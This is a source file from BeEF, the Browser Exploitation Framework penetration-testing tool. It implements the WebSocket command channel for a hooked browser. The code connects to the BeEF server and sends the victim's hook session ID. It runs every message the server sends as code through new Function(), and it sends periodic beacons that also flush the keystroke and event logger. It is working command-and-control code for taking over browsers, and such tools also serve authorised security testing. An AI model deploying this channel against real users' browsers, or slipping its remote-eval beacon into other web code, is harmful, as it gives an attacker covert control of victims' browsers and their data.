Source: websocket.js

  1. //
  2. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  3. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  4. // See the file 'doc/COPYING' for copying permission
  5. //
  6. /**
  7. * Manage the WebSocket communication channel.
  8. * This channel is much faster and responsive, and it's used automatically
  9. * if the browser supports WebSockets AND beef.http.websocket.enable = true.
  10. * @namespace beef.websocket
  11. */
  12. beef.websocket = {
  13. socket:null,
  14. ws_poll_timeout: "<%= @ws_poll_timeout %>",
  15. ws_connect_timeout: "<%= @ws_connect_timeout %>",
  16. /**
  17. * Initialize the WebSocket client object.
  18. * Note: use WebSocketSecure only if the hooked origin is under https.
  19. * Mixed-content in WS is quite different from a non-WS context.
  20. */
  21. init:function () {
  22. var webSocketServer = beef.net.host;
  23. var webSocketPort = "<%= @websocket_port %>";
  24. var webSocketSecure = "<%= @websocket_secure %>";
  25. var protocol = "ws://";
  26. if(webSocketSecure && window.location.protocol=="https:"){
  27. protocol = "wss://";
  28. webSocketPort= "<%= @websocket_sec_port %>";
  29. }
  30. if (beef.browser.isFF() && !!window.MozWebSocket) {
  31. beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
  32. }else{
  33. beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
  34. }
  35. },
  36. /**
  37. * Send Hello message to the BeEF server and start async polling.
  38. */
  39. start:function () {
  40. new beef.websocket.init();
  41. this.socket.onopen = function () {
  42. beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
  43. beef.websocket.alive();
  44. };
  45. this.socket.onmessage = function (message) {
  46. // Data coming from the WebSocket channel is either of String, Blob or ArrayBufferdata type.
  47. // That's why it needs to be evaluated first. Using Function is a bit better than pure eval().
  48. // It's not a big deal anyway, because the eval'ed data comes from BeEF itself, so it is implicitly trusted.
  49. new Function(message.data)();
  50. };
  51. this.socket.onclose = function () {
  52. setTimeout(function(){beef.websocket.start()}, 5000);
  53. };
  54. },
  55. /**
  56. * Send data back to BeEF. This is basically the same as beef.net.send,
  57. * but doesn't queue commands.
  58. * Example usage:
  59. * beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
  60. * '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
  61. * '","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
  62. */
  63. send:function (data) {
  64. try {
  65. this.socket.send(data);
  66. }catch(err){}
  67. },
  68. /**
  69. * Polling mechanism, to notify the BeEF server that the browser is still hooked,
  70. * and the WebSocket channel still alive.
  71. * todo: there is probably a more efficient way to do this. Double-check WebSocket API.
  72. */
  73. alive: function (){
  74. try {
  75. if (beef.logger.running) {
  76. beef.logger.queue();
  77. }
  78. } catch(err){}
  79. beef.net.flush();
  80. beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}');
  81. setTimeout("beef.websocket.alive()", parseInt(beef.websocket.ws_poll_timeout));
  82. }
  83. };
  84. beef.regCmp('beef.websocket');